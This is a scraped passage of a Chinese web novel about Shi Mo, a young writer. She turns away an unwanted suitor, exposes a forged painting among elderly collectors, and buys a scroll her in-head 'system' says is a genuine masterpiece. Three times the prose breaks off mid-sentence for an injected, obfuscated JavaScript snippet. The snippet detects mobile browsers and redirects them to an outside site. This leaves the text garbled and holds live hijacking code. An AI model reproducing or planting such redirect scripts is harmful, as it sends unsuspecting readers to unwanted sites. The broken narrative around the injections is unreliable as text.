这一嗓子,瞬间吸引了周围人的目光。 正往家走的张大妈停下脚步,拽了拽身边的李婶:“哎哎,那不是厂长家的儿子吗?咋跟时家闺女吵起来了?” “可不是嘛!时墨现在可是咱们这儿的名人,报纸电视都上了,厂长儿子咋还缠上她了?”李婶探头探脑,手里的菜篮子都忘了提。 几个刚下班的工友停好自行车也围了过来,交头接耳道:“我听说之前厂长托人给他儿子介绍对象,好像就是时家闺女,不过他那时候嫌人普通来着!” “哟,这是看时墨出息了,又后悔了?” “时墨那脾气,看着温和,骨子里傲着呢,能搭理他才怪!” 时墨心里叹了口气。她不想引人注目,可赵星宇这动静,想不引人注目都难。 她不想再跟他纠缠,决定速战速决:“我喜欢沉稳可靠、有分寸、尊重人,不看名头只看人的。比如——”她顿了顿,吐出三个字,“谢时昀。” 赵星宇像被雷劈了似的,呆在原地。 周围也安静了半秒,随即议论声更响了。 “谢时昀?厂长那个外甥?” “哎哟喂,怪不得,我有一次在厂子外碰巧见过,那可真是仪表堂堂!” “听说人家父母都是大学教授呢,教书育人,这叫、叫什么来着?” “书香门第。” “对对对。” “所以。”时墨推着自行车往前一步,声音不大,但足够清晰,“希望以后你不要再来找我,这是我最后一次跟你说话。再见。” 说完,她不再看赵星宇惨白的脸,推着车转身就往家属院里走,背影挺直,没有一丝留恋。 身后,赵星宇站在原地,看着她的背影,心里的爱慕、懊悔、不甘、愤怒搅成一团,最后只剩下被击碎的难堪。突然狠狠踢了一脚墙根,扭头就跑。那背影,怎么看怎么狼狈。 时墨一进院,就感觉无数道目光落在身上。 她面不改色,该打招呼打招呼:“王大妈,买菜回来了?” “哎,哎,回来了……”王大妈眼神躲闪,笑得有点尴尬。 “李师傅,车修好了?” “修、修好了……”李师傅尴尬地摸摸后脑勺。 时墨点点头,推车进了自家单元门。刚进门洞,刚才还假装淡定的邻里们瞬间凑成一团,叽叽喳喳地聊开了,声音压得低却满是八卦: “我的天,时墨这孩子嘴皮子也太溜了!直接把赵星宇说跑了!” “人家孩子可是写小说的,都登报了,嘴皮子可不厉害着。” “那也不能一点情面不留吧,厂长知道了不得生气?时墨她爸在厂里上班,不会受牵连吧?” “不能吧,时墨又没做错,是赵星宇自己找事!再说时墨现在是名人,厂长多少也得给点面子!” 议论声此起彼伏,不出半小时就传遍全院了。 时墨刚进家门,就闻见厨房传来的炒菜香。 李秀兰系着围裙,正拿着锅铲翻炒,听到关门动静,从厨房探出头来:“回来了?快洗手,饭马上就好。对了,刚才赵星宇来找你了,你碰见没?” 时墨换鞋的动作一顿:“妈,他来找你了?” “啊,来了,说找你有点事。我说你出去了,他就说在楼下等等。”李秀兰擦了擦手,走过来,压低声音,“墨墨,你跟赵星宇……是不是这段时间一直有联系?妈怎么不知道?” 时墨立刻否认:“可没有啊,你别瞎想。上次相亲之后,我俩就再没见过。” 她不想多提赵星宇,更不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158127|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想让家里知道谢时昀替他表弟相亲的事,那会让她爸在厂里难做。 “真没有?”李秀兰狐疑地看着她,“那人家怎么找上门来了?我看还特意打扮了……” “妈,真没有。”时墨岔开话题,“我爸呢?我找他有点事。” “在屋里看报纸呢。” 时墨走进大屋,时爱国正坐在靠椅上认真翻看《工人日报》,见她进来,抬头笑了笑:“回来了?溜达得咋样?” “挺好的,淘了本旧书。”时墨在床边坐下,状似随意地问,“爸,最近厂里……赵厂长没找你说什么吧?” 时爱国放下报纸:“没有啊。厂长最近忙着厂里的生产任务,没找过我。咋了?” “没什么,就随便问问。”时墨犹豫了一下,“要是赵厂长因为赵星宇的事找你,你就说我不在家,或者直接推我身上。” 时爱国愣了愣,仔细看了看闺女的表情:“墨墨,是不是出啥事了?刚才楼下是不是赵星宇?” “嗯,见了一面,说了几句话。”时墨轻描淡写,“不太愉快。我怕他回去跟他爸说什么,影响你工作。” 时爱国笑了,摆摆手:“放心吧,赵厂长不是那种人。再说了,我闺女的事,轮不到别人指手画脚。你要是不喜欢,直接说清楚就行,爸支持你。” 时墨心里一暖:“谢谢爸。” “跟爸说什么谢谢。”时爱国重新拿起报纸,“不过墨墨啊,爸得说一句——你现在还小,主要是学习。感情的事,不急。” “我知道。”时墨点头,“我现在的目标就是高考。” * 同一时间,谢时昀住的四合院里,却是另一番景象。 赵星宇红着眼眶冲进来时,谢时昀正在书房整理资料,门被“砰”地一声撞开,赵星宇冲进来,指着他的鼻子,哭腔的声音里满是崩溃:“谢时昀!你是不是早就知道时墨喜欢的是你?!” 谢时昀手里的钢笔顿了顿,抬眼看他:“你冷静点,这话什么意思?” “什么意思?”赵星宇喘着粗气,激动道,“时墨刚才跟我说,她喜欢的是你!就是因为你,她才看不上我!谢时昀你够可以的,藏得挺深啊!” 谢时昀沉默了几秒。 这个沉默,让赵星宇更崩溃了:“你果然……哥!你怎么能这样!明明是我先认识她的!虽然、虽然我当时没去相亲,但那是因为我不知道是她!你是我哥,你怎么能……” 谢时昀站起身,目光沉静地看着他:“小宇,你是个成年人。就算我真的对她有好感,那也是我的事。感情不是先来后到,更不是谁声大谁有理。” 赵星宇愣住。 “你今天去找她,是不是又冒冒失失,说了一堆不着调的话?”谢时昀问。 赵星宇低下头。 “时墨是个有主见的姑娘,她知道自己要什么。”谢时昀继续说,“你如果不是认真的,就别去打扰她。如果是认真的,就更应该尊重她——而不是像现在这样,跑到我这里来闹。” 赵星宇张了张嘴,想反驳,却找不到词。 “回去吧。”谢时昀重新拿起笔,“好好想想。感情不是儿戏,更不是你觉得‘有意思’就可以随便开始的。” 赵星宇在原地站了半晌,最终,像只斗败的公鸡,蔫头耷脑地走了。 屋里安静下来,谢时昀看着资料,却再也没法集中注意力。脑海里反复回荡着赵星宇的话——“时墨喜欢的是你”。 他指尖轻轻敲击着桌面,嘴角不自觉地勾起一抹极淡的弧度。 时墨,还真是……语出惊人。 他要不要就此去落实下“名头”? 24. 第 24 章 谢时昀因为时墨那句“喜欢谢时昀”的话,心绪始终难以平静。 明知是被时墨当挡箭牌,可一想到这话是从她嘴里说出,便遗憾未能亲耳听闻。但这倒也给了他一个顺理成章登门的由头。 等到周日,时墨放假。谢时昀特意捯饬了下,带上整理好的外贸技术资料,往红星机械厂家属院去。 到了时家门口,他抬手叩门。“咚咚”两声,开门的却是时建军。 时建军手里还攥着半张写满公式的草稿纸,见是谢时昀,连忙侧身把人往屋里让:“谢哥!你咋来了?快进来坐!”他热情得很,转身就去拿搪瓷缸子:“我给你倒杯水,凉白开,刚晾好的!” 谢时昀进了屋,扫了一眼,屋里干净整洁,桌上堆着时建军的复习资料,显然是刚在用功。“时师傅不在家?”他随口问,目光却下意识往里屋瞟了眼。 “厂里临时有个技术会,得晚上才回。”时建军递过水杯,笑道,“谢哥你找我爸啥事?等他回来我转达!” 谢时昀握着微凉的水杯,心里那点期待落了空。 他压下那丝失落,含笑摇头:“没什么要紧事。既然时师傅不在,就不多打扰了,你好好看书,我先走了。” “哎,那多不好意思!”时建军连忙起身送他,“谢哥你放心,我肯定好好学,等我爸回来,我跟他说你来过!” “不用了,我这边不着急,下次见面再跟时师傅聊。” “也成,那你慢点走。” “好,留步。” * 与此同时,时墨已按系统导航,穿梭在迷宫般的胡同深处。 这里比家属院那边僻静得多,青砖灰瓦的墙头上爬了好多只爬山虎,门楼上的砖雕已经模糊,墙头长着枯草。老树的枝桠遮天蔽日,阳光只能漏下细碎的光斑。 偶尔有老人坐在门槛上晒太阳,收音机里咿咿呀呀唱着京剧。自行车铃铛声、小孩的追逐打闹声混在一起,是独属于胡同的生活气息。 系统导航的终点,是一条名叫“竹笤帚胡同”的僻静窄巷。 巷子深处,一扇不起眼的黑漆木门虚掩着,门楣上钉着块字迹模糊小木牌,隐约能辨出“书”字残痕。 时墨停车上前,叩响门环,见门未关严,便轻叩门板:“请问,有人在吗?” 院内无人应声,却有隐约的谈话声传来。 她犹豫片刻,轻轻推门而入。 院内景象令她一怔——两株石榴树枝叶繁茂,墙角兰草青翠,石桌上摆着未下完的围棋,透着文人雅趣。 正房门敞着,里面坐着五位老者,正围桌低声交谈。 时墨的突然出现,让屋内所有谈话戛然而止。 数道目光齐刷刷射来,带着惊愕与警惕。一位留着山羊胡的老者霍然起身,语气严厉:“你是谁?怎么找到这里进来的?” 时墨这才意识到自己闯入的似乎是个私人聚会。她举起手中的《京华见闻录》,坦然道:“各位前辈好,我叫时墨。前几天偶得这本《京华见闻录》,见最后一页记有此地址,说是昔年笔谈会旧址,今日得闲便循迹而来。我看门没关严,我敲了门询问后听到屋里有人说话,便冒昧推门,没想到打扰诸位雅聚,实在抱歉。” 她这番解释不卑不亢,倒让屋内气氛稍缓。 那位戴眼镜的唐先生扶了扶镜框,仔细打量她:“你真是《青年报》上那位智斗人贩的时墨?” “正是晚辈。”时墨颔首。 “稀奇。”一位穿劳动布衣服、手带老茧的奶奶开口,语气却温和了些,“这地方隐蔽,寻常人找不到。你能按着旧书地址摸来,也算有心。” 时墨笑着应了声:“让各位前辈见笑了,从小就喜欢这些有故事的老东西。” 【宿主,这里的东西全是真货!那幅明代《芥子园画谱》刻本值不少钱!清末宫墨、还有那套宋版书,绝了!】系统在脑海里嘚瑟,【我这鉴假能力可不是吹的,扫一眼就知道真假!】 时墨没理系统的嘚瑟,目光扫过桌上的物件,心里清楚自己现阶段融不进这个圈子——没钱、没资历,硬凑只会惹人反感。 她拱了拱手:“既然是私人聚会,我就不打扰各位了,改日再来淘书。” “小姑娘,你能找到这儿,也是缘分。”戴眼镜的中年男人指了指旁边的凳子,“坐。这地址,是这本《京华见闻录》的原主之一,一位姓赵的老先生留下的。他去世多年了,没想到这册子还在流转。” 老陈叹了口气:“老赵当年就爱在旧书上留这种‘暗号’,说是给有缘人指路。可惜啊,这些年找来的,没几个真懂行的。” 气氛有些感伤。时墨安静地听着,没有插话。 穿着蓝色劳动布工作服、手指粗糙像是老工人的奶奶忽然开口:“姑娘,你那事我看了报纸,干得漂亮!那些人贩子,就该抓!” 话题转到时墨身上,气氛活络了些。几位老人你一言我一语,问起那天的事。时墨简单说了说,语气平和,既不夸大也不自谦。 聊了一会儿,时墨见时候不早,便起身告辞:“几位老师继续,我就不多打扰了。” “不急。”唐老师摆摆手,从书架上抽出两本旧书递过来,“既然来了,带两本书走。一本是《北平风俗考》,一本是《京都戏园子旧闻》,都是讲京城风物的,你应该喜欢。” 时墨接过,道了谢,正要走,系统突然出声:【宿主!靠窗那个穿黑褂老头手里的《春山访友图》是赝品!仿得不错,但颜料含现代化学色素,纸张做旧手法粗糙,他还在跟旁边人炫耀,被坑都不知道。】 时墨顺势望去。靠窗处,一位清瘦的孙姓老者正手持卷轴,满面红光地对身旁老友炫耀:“老徐,你看看我这幅新得的王真《春山访友图》!这笔意、这墨韵,绝了!” 徐老凑近细观,点头赞道:“确有意境,这山石皴法,有王真之风。” 孙老得意捻须:“老夫这眼力,错不了!为这画,我可下了血本!” 时墨脚步微滞。她本不想多事,贸然提醒肯定得罪人,但见孙老珍若拱璧之态,显然所费不赀。若任其蒙在鼓里,日后损失更巨。 那边,孙老还在滔滔不绝:“你们看这山石的皴法,这笔意……老陈,你给掌掌眼。” 老陈戴上老花镜,凑近了仔细看,眉头越皱越紧。其他几人也小声议论,看法不一。 【你确定假的?】时墨再次确认道。 【绝对!要是假的,我工资全给你】系统拿出它最重视的工资保证道。 时墨信了。 她转身走回桌边,温声开口:“孙老,可否容晚辈一观?” 孙老一愣,见是时墨,虽不情愿,仍将画递过,叮嘱道:“小心些,这画金贵。” 时墨接过,凝神细观——实则在听系统分析。 【宿主,可指出以下三点:一、真品用明代‘院绢’,质地密实,此绢质疏松,是清末仿古绢。二、真品山石皴法以‘披麻皴’为主,兼用‘解索皴’,这幅皴法杂乱,有模仿痕迹。三、左下角‘王真之印’,真品印泥为明代矿物朱砂,颜色沉稳,此印泥虽颜色相近,但含近代化学成份,乃最大破绽!】 时墨抬起头,看向孙老,语气尽量委婉:“孙老,晚辈对书画所知尚浅,但听家里老人说过一些鉴赏门道。这幅画……依晚辈拙见, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168223|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐有些疑处。” 满室寂静。 所有人的目光都集中在时墨身上,刚才还低声交谈的声音戛然而止。 孙老脸色骤沉:“小姑娘,话不可乱说。此画是我从琉璃厂老藏家手中求得,人家祖上开画铺的,岂能有假?我浸淫此道数十载,还能走眼?!” 徐老轻扯时墨衣袖,低声劝道:“时墨,这行水深,慎言。” 唐老师亦皱眉,按住孙老手臂:“孙老,别激动,听听孩子怎么说。” “听什么听!”孙老气得胡子直颤,“她一个黄毛丫头,懂什么王真!我这幅画是老藏家手里收的,花了我近一年工资,怎可能是假的!” 时墨心里叹了口气,她就知道会这样。 但话已出口,她也不想缩回去,语气平静道:“孙老息怒。晚辈只是就画论画:其一,明代院绢质地紧密,摸起来厚实,此绢疏松发脆,是清末民初的仿古绢;其二,王真的披麻皴兼解索皴,线条流畅自然,这幅皴法杂乱,是刻意模仿的痕迹;其三,这方‘王真之印’印泥色泽偏亮,不类古印泥沉稳,历久弥深,且细闻有微刺鼻味,恐含近现代化学成份。” 她每说一句,孙老脸色就难看一分。等她说完,孙老已面无人色,一把夺回画轴,手颤声厉:“你、你信口雌黄!我……我找人来鉴!” 一直沉默的一位李姓老者忽然起身,接过画轴,取出放大镜细细察看。片刻,他抬头,神色复杂:“老孙……这印泥,确有问题。且这绢……我也觉得不对。” 专研纺织品的老奶奶凑近,摸了摸画绢,摇头叹息:“这非明绢,是清末仿古绢无疑。” 孙老踉跄一步,扶住桌沿,嘴唇哆嗦,抢过放大镜,对着画绢、印章挨个细看,越看脸色越灰败,最后“咚”地一声坐在椅子上,手里的画差点掉在地上:“我……我居然被人骗了……” 众人再看向时墨的眼神,已截然不同,从最初的审慎变成了震惊与佩服。 唐先生深吸一口气,叹道:“时墨姑娘,你这眼力,比我们这些老骨头还毒!” 徐老头也点头:“多亏你提醒,不然老孙还得拿着赝品到处炫耀,亏得更大!” 唐先生郑重看向时墨:“时墨同志,你……师承何人?” 时墨淡然一笑:“并无师承,只是平日喜读杂书,多看了些鉴赏典籍,加上胆子大,敢说罢了。今日冒昧,还请孙老及各位前辈海涵。” 见时候不早,时墨拱手告辞:“各位前辈,今日打扰了,我先回去了。” 徐老追至门口,神色感慨:“时墨,今日……多谢你。老孙性子倔,但非不明理。等他缓过来,会明白你是好意。” “徐老言重了。”时墨点点头,“今天打扰了。” 推车走出胡同,夕阳已经西斜。 系统小声问道:【宿主,您生气了吗?】 时墨摇摇头:【没有。就是觉得……收藏这事儿,戳破了,挺残忍的。】 【那您后悔提醒吗?】 时墨想了想:【不后悔。假的就是假的。他早晚会知道,早点知道,损失还小点。】 她回头望了一眼那扇紧闭的黑漆木门,嘴角微扬:【他会来找我的。】 时墨蹬车离去,身影渐融于暮色。 院内,唐先生抚须沉吟:“这姑娘……不简单。眼光毒,胆子大,话却留三分余地。” 徐老点头:“她若真想搅局,大可说得更绝。可她点到即止,给老孙留了颜面。” “且看她如何处事。”另一位老者缓缓道,“若她日后再来……咱们这‘聚贤斋’,或许该添个新座了。” 众人默然,各怀思量。 25. 第 25 章 周三午休,市一中的校园里静悄悄的,只有零星学生在操场散步。时墨刚趴在桌上想眯一会儿,就听见教室门口传来轻轻的叩门声。 “时墨同学在吗?” 熟悉的苍老嗓音,时墨抬头一看,竟是孙老。他穿了件熨帖的藏青衬衫,头发梳得整齐,手里拎着个深蓝色的布包,脸上带着温和的笑意,全然没了周日那天的激动失态,倒显出几分文人的儒雅气度。 教室里的同学都好奇地望过来。 时墨起身走出教室:“孙老?您怎么来了?” “特意来给你道歉的。”孙老走到走廊窗边,从布包里拿出个小巧的木盒,递到她面前,“周日那天,是我失态了,对不住啊。你一番好意提醒,我却……唉,老糊涂,脾气上来就收不住。你别往心里去。” 时墨没想到老爷子会专程跑一趟学校道歉,连忙摆手:“孙老您言重了,我没往心里去。那天我也是冒昧,不该随便置喙您的藏品。” “不不不,你说得对,说得好!”孙老脸上愧色更深,打开木盒,里面是一方小巧的端砚,砚台温润,刻着简单的竹纹,“回去后我找了位真正懂行的老朋友仔细看了,确如你所言。那画……唉,不提了。亏得你点破,不然我还得继续当宝贝供着,更丢人现眼。” 午时阳光透过窗户照射进走廊,落在老人花白的头发上。比起周日那位因赝品而气急败坏、面红耳赤的老者,此刻的孙老眼神清亮,语气诚恳,倒真有几分传统文人的清癯风骨。 “这事儿让我明白,搞收藏啊,光凭年头长不行,还得时时警醒,不能固步自封。”孙老感慨一句,把木盒往时墨手里塞“这方老端砚,是我年轻时收的,不算什么稀世珍宝,但质地不错,适合写字画画。你喜欢淘旧物,又爱写东西,拿着用正好,算我一点心意,你可千万别推辞。” 时墨连忙推回去:“孙老,这可使不得。您能想明白就好,东西我真不能收。” “你不收就是不给我面子!”孙老板起脸,不由分说塞过来,“我活了大半辈子,最敬重的就是有真本事、心善的人。你年纪轻轻,眼光毒辣,还不怕得罪肯说实话,实在太难得了。这砚台你收下,就当是我谢谢你提醒了我。” 时墨见孙老态度坚决,再推辞就显得生分了,只好收下:“那我就却之不恭了,谢谢孙老。” “哎,这就对了!”孙老笑得眉眼舒展,“跟你说个事,周五下午西城那边有个小型的内部观摩交流会,说白了就是大家把手里想出手的、或者新淘来的宝贝拿出来,互相看看,有看中的就作价转让,或者以物易物,都是圈内人,不对外公开。” “这次都是新到的东西,听说有点意思。你想不想去看看?” 时墨犹豫了:“周五下午有课,恐怕去不了。” “这个好办。”孙老显然早有准备,“我跟你学校领导熟,帮你请个假,就说……带你参加个重要的文化活动,保证放学前把你送回来,绝不耽误学习。” 见时墨还在犹豫,孙老又压低声音道:“这次有几件东西是从南边刚送来的,路子正,品相好。说不定……能碰上真正的好东西。你眼力这么毒,不去可惜了。” 时墨心念微动:“那……麻烦孙老了。” “不麻烦不麻烦!”孙老笑呵呵的,“周五午休时,我提前来学校接你,咱们一起过去。” 送走孙老,时墨回到教室,把那方端砚小心翼翼地放进书包。同桌好奇地问:“时墨,那是谁啊?给你送的啥?” “一个忘年交的老爷爷,送了方砚台。”时墨笑了笑,没多解释。 【宿主!砚台是真的!清代中期的端砚,质地不错,也算值钱。】系统在脑海里兴奋道,【周五的品鉴会肯定有好东西,我到时候全程扫描,保证不遗漏任何宝贝!】 时墨喜闻乐见:【好,我就等你大显神通了!】 【我办事,你放心!】 * 周五午后,孙老果然提前到了学校,顺利帮时墨请到了半天假。 两人出了校门,坐上孙老提前叫来的“面的”朝西城方向驶去。 车子七拐八绕,最后停在一处僻静的院落前。青砖门楼,朱漆大门紧闭,看起来像是某处保存尚好的旧式宅邸。 孙老上前,有节奏地叩了叩门上铜环。片刻,门开了一条缝,里面的人认出孙老,这才将门打开。 孙老领着时墨进去,院子里已经来了不少人,有上次聚贤斋见过的几位老者,还有几个陌生的中、老年男女,都穿着整洁,气氛安静。见孙老带了个年轻姑娘进来,不少人都投来好奇的目光。 “老孙,来了?”唐老师迎上来,看到时墨,眼神闪过一丝诧异。 “老孙,这位是?”一位戴着圆眼镜、头发花白的老者问道。 “这是我家小辈,也喜欢老物件,带她来见见世面。”孙老笑着介绍,领着时墨在靠后的位置坐下。 其他人闻言,都好奇地打量了眼时墨。但大家都是圈内人,也没多问,只是客气地点点头。 时墨快速扫视了一圈环境。院子里的石桌上、长凳上,已经摆了不少物件:旧书、字画、铜器、玉器、砚台,琳琅满目。大家三三两两地围在一起,低声交谈,偶尔拿起物件翻看、摩挲,气氛安静又热烈。 【宿主!我开始扫描了!】系统立刻进入工作状态。 很快,前方主持人——一位清瘦的唐装老者简单讲了几句,便有人捧出第一件东西:一个青花缠枝莲纹的梅瓶。 交流以一种颇为含蓄的方式进行。 主持人会介绍物件来历,给出一个底价,感兴趣的人便低声报出自己的价格,或举手示意,最后由主持人确认归属。整个过程没有锤音,没有喧哗,甚至没有明确的“竞拍”字眼,更像是朋友间的转让。 时墨静静观察,系统则在脑海里不断汇报扫描结果: 【清代民窑青花瓶,品相完整,市场价值一般。】 【明代晚期铜香炉,真品,有修补痕迹。】 【民国仿清宫珐琅彩小碗,仿得不错,但胎质不对……】 东西一件件过,有真有假,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173537|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 优有劣,价格也相对平和。时墨没有出手,只是默默学习着这个年代这种半地下交易的模式和氛围。 直到一个旧木匣被捧上来。 木匣打开,里面是一卷略显陈旧的画轴。 主持人语气平和:“明代吴门画派作品一幅,绢本设色,未具名款,有清人题跋。起价两百元。” 画卷被小心展开一部分,露出局部山水。笔法疏朗,墨色清润,山峦叠嶂间隐见屋舍、小舟。 场内泛起细微的议论声。无款画,价格不高,但风险也大。 孙老微微摇头,显然兴趣不大。 时墨却觉得这画看着眼熟。 【宿主,这是唐周的《繁秋山野图》,真迹!保存基本完好!】 时墨的心脏猛地一缩,血液瞬间涌上头顶,手心沁出冷汗。 唐周的《繁秋山野图》! 她前世在博物馆隔着玻璃看过仿品,了解过它的传奇和天价。如果系统鉴定无误……眼前这卷看似不起眼的旧画,是足以引发轰动的国宝!后来价值高到禁止出境! 它怎么会流落到这种小型的私人交流会?是持有者根本不知其价值?还是另有隐情? 主持人已经开始询问:“五百元,有哪位同志感兴趣?” 场内安静。无款画,又是“吴门画派”这种泛泛之称,五百元在此时不算小数目,无人轻易出手。 时墨强迫自己冷静下来,不能表露出异样让人察觉异样。 “五百一十元。”一个低沉的声音从侧面响起。 时墨循声望去,是个穿着灰色夹克、面容平淡无奇的中年男人。 “五百三十。”另一角有人轻声加价。 价格缓慢攀升,到了五百八十元,便停了下来。显然,在大多数人眼里,这只是一幅品相尚可、但来历不明的无款古画,六百元已是极限。 主持人环视一圈:“五百八十元,还有哪位同志……” 时墨深吸一口气,在主持人即将落音前,轻轻举了一下手。 所有人的目光瞬间聚焦在这个一直沉默的年轻姑娘身上。 孙老也诧异地看着她,低声道:“小墨,这画……你可看准了?” 时墨微微点头,目光沉静地看向主持人,清晰吐字: “六百元。” 全场一静。 随即,轻微的哗然响起。六百元买一幅无款画,在这场合已属高价。 之前出价五百八的那位摇了摇头,放弃了。 穿灰色夹克的中年男人眯眼看了看时墨,又看了看她身旁的孙老,沉默片刻,最终也没有再加价。 “六百元,成交。”主持人的小惊堂木轻轻落在铺了绒布的桌面上。 声音很轻。 却像惊雷,炸响在时墨心中。 她站起身,在众人各异的目光中,走向前方。 每走一步,她都感觉脚下的地面有些不真实。 那卷承载着六百年风雨、未来将光芒万丈的国宝,此刻,正静静躺在旧木匣中,等待她的靠近。 26. 第 26 章 木匣入手的那一刻,画轴的分量轻得像一片云,却压得时墨指尖微微发颤。 掌心不自觉收紧,感受到老木头特有的温润与岁月的凉意。 她垂着眼,指尖轻轻抚过泛黄的绢面,墨香混着旧纸的霉味钻入鼻腔,这一刻时墨才真正意识到——这幅《繁秋山野图》,属于她了。 心脏突然像被一只无形的手攥紧,狂跳不止。 时墨面上平静无波,只是冲主持人微微颔首,将木匣稳稳抱在怀里,连眼神都没多露一丝异样,返回座位。 接下来的时间里,时墨一直处于一种奇异的恍惚状态。周遭的低声交谈、陆续上场的物件、系统的持续扫描播报……都像是隔着一层毛玻璃,模糊而遥远。 【警告:宿主心率持续超过125次/分钟,血压升高,肾上腺素水平异常。建议立刻停止当前活动,休息观察。若持续此状态,有突发心血管风险。】系统的警报声在脑海里急促响起,着急的关心道,【宿主你没事吧!】 时墨深吸一口气,压下翻涌的情绪,冷静道:【我没事,只是有点激动。】 【根据生理数据监测,这已超出‘有点激动’范畴。我不理解,一件艺术品而已,为何会引发宿主如此剧烈的生理反应。它的物质构成是绢、墨、矿物颜料,它的市场价值有待评估,但不应危及宿主健康。】系统满是不解,在它的数据库里,再珍贵的物件也比不上宿主的身体重要。 时墨轻轻摩挲着木匣边缘,感受着那细微的木刺刮过指腹。 【系统,你不懂。】时墨沉默片刻解释道,【这不是‘一件艺术品而已’。这是一个民族某个时代审美与精神的凝结,是穿越了至少六百年战火、流离、无知与遗忘,才侥幸抵达我们眼前的奇迹。它身上承载的东西……太重了。】 系统沉默了片刻,似乎在处理这段充满感性色彩的输入。【数据不足,无法完全解析。但宿主生理指标仍需关注。建议深呼吸,平复情绪。】 时墨依言,悄悄做了几个深长的呼吸。 台上的交流还在继续。 时墨强迫自己将一部分注意力拉回现场,让系统重新扫描。 之后,她又以三十五元的价格,拍下了一套共八册的清代木版刻本医书《济世良方辑要》。书页泛黄,边角有损,但内容完整,是清中期一位地方医官的临床汇编,颇有实用和文献价值。 下午四点半左右,观摩交流结束。主持人宣布稍后在西厢房备了简单的茶点,大家可以继续品鉴交流。 孙老看向时墨:“小墨,一起去坐坐?认识认识几位前辈。” 时墨此刻心神几乎全系在木匣和那套医书上,哪里还有心思应酬。她歉然摇头:“孙老,我就不去了,还得赶回学校,不然耽误下午最后一节课。” 孙老理解地点头:“也好,那我送你回去。” “不用麻烦您了孙老,我自己坐公交回去就行。”时墨忙说。 “那怎么行,你一个女孩子,还带着东西。”孙老不由分说,领着她跟几位相熟的老者打了招呼,便一同离开了院子。 回去的“面的”上,孙老几次看向时墨膝上的木匣,欲言又止。最终,还是忍不住轻声问:“小墨,那画……你真那么看好?” 时墨抱着木匣的手指微微收紧,面上却露出一个恰到好处的、带着点不确定的笑容:“孙老,我也说不好。就是觉得……那山水的气韵特别舒服,笔法也老道。就算是无款,应该也是当时高手所作。六百元,就当是赌一把,亏了也算长个教训,万一……万一有点价值呢?” 她将话说得留有余地,既不过分肯定引来深究,也解释了自己为何肯出“高价”。 孙老听了,沉吟着点点头:“你看画的眼光,我是服气的。既然你觉得好,那自有你的道理。” “谢谢孙老夸赞。”时墨笑了笑。 车子在市一中门口停下。时墨抱着木匣和医书下车,再次向孙老道谢并告别,看着他坐车离开,才转身快步走进校园。 下午最后一节是自习课。 时墨从后门悄悄回到自己位于教室中后排的座位。 她的座位本就是全班最受关注的“明星位”——成绩第一、登过报纸、又是见义勇为的英雄,周围同学的目光时不时飘过来。 往常她并不在意这些目光,但今天,她第一次觉得这些无意扫过的视线,都可能落在她课桌抽屉里的那个旧木匣上。 她知道没人知道木匣的价值,而且之前抄袭事件导致她不在座位时根本没人敢多停留,东西不会丢。 可即便如此,她依然有些坐立难安。 时墨不断告诉自己:没人知道这是什么,在所有人眼里,这就是一卷普通的旧画。这个年代,校园里几乎没发生过偷窃事件,同学们单纯,门卫尽责。 可理智的安抚压不住心底漫上的、近乎本能的不安。那是一种渺小的个体骤然与过于沉重的历史遗产相连时,产生的战栗与保护欲,贵重到她容不得半分闪失。 时间一分一秒过去。时墨罕见地无法集中精力在习题上。连下课去厕所都能忍着,就这么硬生生憋着,从下午上课憋到快两节课,实在憋得受不了,才举手,打报告:“老师,我想去趟厕所。” “快去快回。” 时墨立刻起身,出了教室,狂奔进厕所,以最快的速度解决后,拧开冷水拍了拍脸,看着镜子里自己紧绷的脸又拍了两下,再次深呼吸,缓缓恢复平静。 稳住心神后,快步回到教室。经过自己座位时,目光飞快地扫过那个被练习册挡住的抽屉角落——原封不动。她悄悄松了口气,坐了下来。 晚上放学,时墨走出校门,时爱国已经蹬着那辆二八大杠在等了。 “墨墨,今天咋出来晚了几分钟?”时爱国接过女儿的书包,习惯性地想往车把上挂。 “爸!”时墨声音不自觉地提高,一把抢回书包,抱在怀里,“今天书包重,我抱着就行。” 时爱国有些诧异,看了女儿一眼,觉得她脸色似乎不大好,但也没多想:“成,那你坐稳了,抱好。” 一路上,时墨几乎没说话,只是紧紧抱着书包,一刻也不放松。 到了家属院楼下,时墨跳下车,对时爱国催促道:“爸,赶紧上楼,我有重要的事说。” 时爱国心里咯噔一下。果然孩子出事了! 他锁好车,跟着脚步匆匆的女儿上了楼。 一进家门,时墨立刻反锁好门锁,神色郑重:“爸,妈,哥,你们都过来,我开个家庭会议。” 时爱国刚摘下帽子,李秀兰放下手中的钩针,看到女儿异常严肃紧绷的小脸心里也提了起来:“咋了墨墨?出啥事了?是不是在学校受委屈了?” 